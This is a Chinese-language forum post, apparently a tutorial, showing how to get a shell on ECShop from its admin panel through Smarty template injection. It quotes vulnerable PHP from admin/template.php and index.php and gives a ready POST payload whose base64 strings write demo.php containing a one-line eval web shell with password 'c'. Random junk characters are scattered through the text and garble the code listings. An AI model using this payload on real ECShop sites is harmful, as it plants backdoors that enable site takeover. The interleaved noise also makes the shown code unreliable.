Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
- k, H& W. i* Y) H6 R; y
7 s8 B. r4 K% j5 |+ ]' C$ ?而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
9 J6 ?# p1 p  \. N3 Fadmin/template.php

1 if ($_REQUEST['act'] == 'update_library')
4 [7 J1 f) `" `$ ]6 ]. C0 i" }
0 S" ?$ Z- L. s! N2 R2   
8 {4 B; R: t% ?1 Y9 Z
" r4 d% W+ Y. z) m' B2 K/ \3 {

4     check_authz_json('library_manage');

5   
) T( h1 q+ y/ `. K
6     $html = stripslashes(json_str_iconv($_POST['html']));
9 ~/ _) w7 \( g1 o7 r
7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
- i. N, M4 [0 S  O1 `
9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

6 f  Z# S4 j$ t9 [  v11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
' ~& O: h# z  f
13   
2 g. B( s/ E/ G7 E
. Q( s* ?5 h8 q/ q6 v9 e: x14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
# i- X) E5 M5 e/ }* L4 n2 w; ~* _
4 k. g' T5 z. l# i2 C! p) o4 ?5 [% {15     {
: o1 F( W2 x$ U& E2 O
0 T! o; m  s. G2 [) ^- h- Q0 B0 ^16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

$ x) [$ d# N; ?6 f) ]8 p17         make_json_result('', $_LANG['update_lib_success']);

: J/ N) g7 ~" J6 S7 B' s18     }
0 v; x) N4 I+ i; E  F
- s  Q4 ]4 N" P19     else
3 k+ p1 L% s: u: U" t; v
20     {
$ u3 X# `1 U& @, B
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

6 S1 C$ t% K' w* p; Y% ?22     }
" }8 L1 e7 ?/ B/ v1 P
$ b. n7 W5 n; Q: z23 }
" j# p' c, N2 u
, d# G9 \4 x* b/ Q那么找个比较方便调用了模板的文件
$ ^0 I; }9 ~0 A& k9 eindex.php
6 S8 M& o6 v4 Z& X
7 f4 }( Z- V4 |8 G9 ?1 if ($act == 'cat_rec')

6 |7 P: t9 p7 _3 v# l5 z3 l: j2   

3 {
) {1 r5 P# d4 `4 o; x+ U
4   
$ A) Y4 j3 r0 i1 K
4 V4 b/ U! V8 `" m% D1 x5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
4 X2 B* t( J  x% C0 c* o/ N
6   

: k+ \) f. A2 |# e% Q7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

) {0 L; f7 Z4 P8   
5 r/ O9 {/ `0 i# U6 _" r
4 m6 g$ n/ ?- j% s9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

- D9 ?- B3 v4 Z9 [$ w- }' I! H& y10   
8 N" h% E6 o1 f9 _+ k% T
11     include_once('includes/cls_json.php');
: T- V- K) p4 {. Y( r* k: M/ X
# O" J: i# I/ T, x12   
" w. z$ I0 @3 p. g  `) {# W' M( U
8 X7 A4 j4 n, u. r& O13     $json = new JSON;

% v0 [( O9 ]# V4 n" ~14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
, [5 b( [7 i; J1 G1 j. a0 V; x8 s$ I
16   
! ]: q* V6 m; H0 p& _
; }3 I9 U' E2 v# L) ?0 u. i17     $children = get_children($cat_id);
7 }- L4 F, r- C- R/ p9 k+ K8 Y. |
, d! ~. m9 F% m- k18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   

" ]# T+ o+ x. ~7 n! k9 x21     $smarty->assign('cat_rec_sign', 1);
1 T3 n% Q) D0 ]1 H4 o
22   

" C" w" j+ w! d* b% [6 f& _5 x; G; G23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
; [8 \) t0 `5 p- T# A1 M) Y' U3 t
24   
/ {% ]5 H9 I0 F- [7 m9 }2 }
8 `6 J; n. r: R' b( Y" u' ^6 L( n25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
/ l1 ?) j* r* ]7 e0 ?
5 z7 a# m1 V/ N" y, ^26   
' t# h  c. o9 c0 H3 v
' c: w; a7 B  s% A: w# D27         echo $rec_array[$rec_type];
# d) o% f- W+ p) H
28   

29     die($json->encode($result));

30   

. n+ O$ s$ g3 c$ f; @$ E31 }
" I9 n! W% D) U( Z# d/ a
; }1 v& ^0 o. v" ^' \2 o# k. T那么就有利用方法了
: F6 I( Y& k+ Q* i, H. @3 opost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

​
& x$ v# O4 \7 w; R1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

% F/ a' i6 F: e0 B* [+ z0 J( f5 q然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
密码c
1 u( V1 s0 T$ T1 e' ~/ m